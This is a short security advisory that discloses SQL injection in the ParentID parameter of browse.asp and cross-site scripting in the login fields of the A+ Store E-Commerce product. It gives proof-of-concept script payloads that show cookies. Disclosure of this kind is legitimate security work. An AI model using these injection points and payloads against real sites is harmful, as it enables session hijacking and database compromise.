vendor site:http://www.webinhabit.com/ product:A+ Store E-Commerce bug:injection sql & xss post risk:medium injection sql (get) : http://site.com/browse.asp?ParentID='[sql] xss post : in /account_login.asp: username = </textarea>'"><script>alert(document.cookie)</script></textarea>'"><script>alert(document.cookie)</script> passwd = </textarea>'"><script>alert(document.cookie)</script></textarea>'"><script>alert(document.cookie)</script> laurent gaffi & benjamin moss http://s-a-p.ca/ contact: saps.audit<img src="/imgs/at.gif" border=0 align=middle>gmail.com